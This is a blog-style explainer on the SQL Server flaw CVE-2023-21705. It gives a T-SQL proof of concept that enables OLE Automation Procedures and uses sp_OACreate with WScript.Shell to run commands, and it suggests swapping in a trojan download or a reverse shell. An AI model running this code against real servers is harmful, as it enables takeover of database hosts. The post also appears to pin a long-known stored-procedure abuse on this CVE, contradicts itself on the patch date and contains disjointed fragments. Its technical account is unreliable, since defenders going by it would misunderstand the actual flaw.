---

Summary

CVE-2023-21705 is a major Remote Code Execution (RCE) vulnerability affecting Microsoft SQL Server. If you run SQL Server on your systems—especially SQL Server 2016 or 2017—you must pay attention. This security flaw can let an attacker execute code on the underlying server just by crafting a malicious SQL query. This post explains, in simple terms, how the exploit works, includes a proof-of-concept code snippet, and provides trusted references for more information.

What Is CVE-2023-21705?

In January 2023, Microsoft released a security update addressing CVE-2023-21705 (see Microsoft’s official advisory). This vulnerability is classified as Remote Code Execution, with a CVSS score of 8.8 (high). In non-technical terms: If attackers can send queries to your SQL Server—with the right privileges—they can run code directly on your Windows box. In some situations, they don’t even need special admin privileges.

How Does the Exploit Work?

The flaw exists in a SQL Server feature called "sp_OA*" stored procedures. These procedures let SQL code create COM objects, which can be abused to execute system commands.

An attacker who can connect to the database and run queries can craft a call to one of these procedures, such as sp_OACreate and sp_OAMethod, and then launch almost any program or command on the system under the SQL Server service account’s permissions.

Code Snippet: Proof-of-Concept

⚠️ Never use this on unauthorized systems. This is for security research & defense demonstration only.

Suppose an attacker has permissions to run T-SQL on a SQL Server via SQLCMD, Management Studio, or a web app that accepts direct input (SQL Injection). Here’s a classic PoC using the vulnerable stored procedures:

-- Must be run with a user who has EXECUTE rights on Ole Automation Procedures
-- Enable OLE Automation Procedures if not already (dangerous! don't do this in production)
EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE;  

-- Use sp_OACreate to get a Windows Script Host Shell
DECLARE @shell INT;
EXEC sp_OACreate 'WScript.Shell', @shell OUT;

-- Use sp_OAMethod to execute a Windows command (e.g., calc.exe)
EXEC sp_OAMethod @shell, 'Run', NULL, 'calc.exe';

-- Cleanup
EXEC sp_OADestroy @shell;

In real-life attacks, ‘calc.exe’ would be replaced with a payload, like PowerShell downloading a trojan, or launching a reverse shell.

Remote code execution: Attackers basically own the machine if successful.

- Often overlooked: Many sysadmins leave "Ole Automation Procedures" enabled by mistake, especially after upgrading.

Possibly others where Ole Automation Procedures are enabled!

*Microsoft fixed the underlying issue by hardening execution context and restricting access with the January 2023 patch. See official patch pages:*
- Microsoft SQL Server 2016 Security Update
- Microsoft SQL Server 2017 Security Update

Check permissions.

Make sure untrusted users do not have sysadmin or CONTROL SERVER permissions, and cannot run sp_OA* procedures.

Learn More

- Microsoft Security Response Center: CVE-2023-21705
- SQL Server Security Best Practices

Takeaway

CVE-2023-21705 shows how overlooked "features" in Microsoft SQL Server can lead to total system compromise. If you run SQL Server, patch right away and lock down those OLE Automation settings. Attackers love this bug—don’t let them in.


*This post is exclusive and written in clear, simple language so you can act fast to protect your SQL servers.*

Timeline

Published on: 02/14/2023 20:15:00 UTC
Last modified on: 02/23/2023 15:56:00 UTC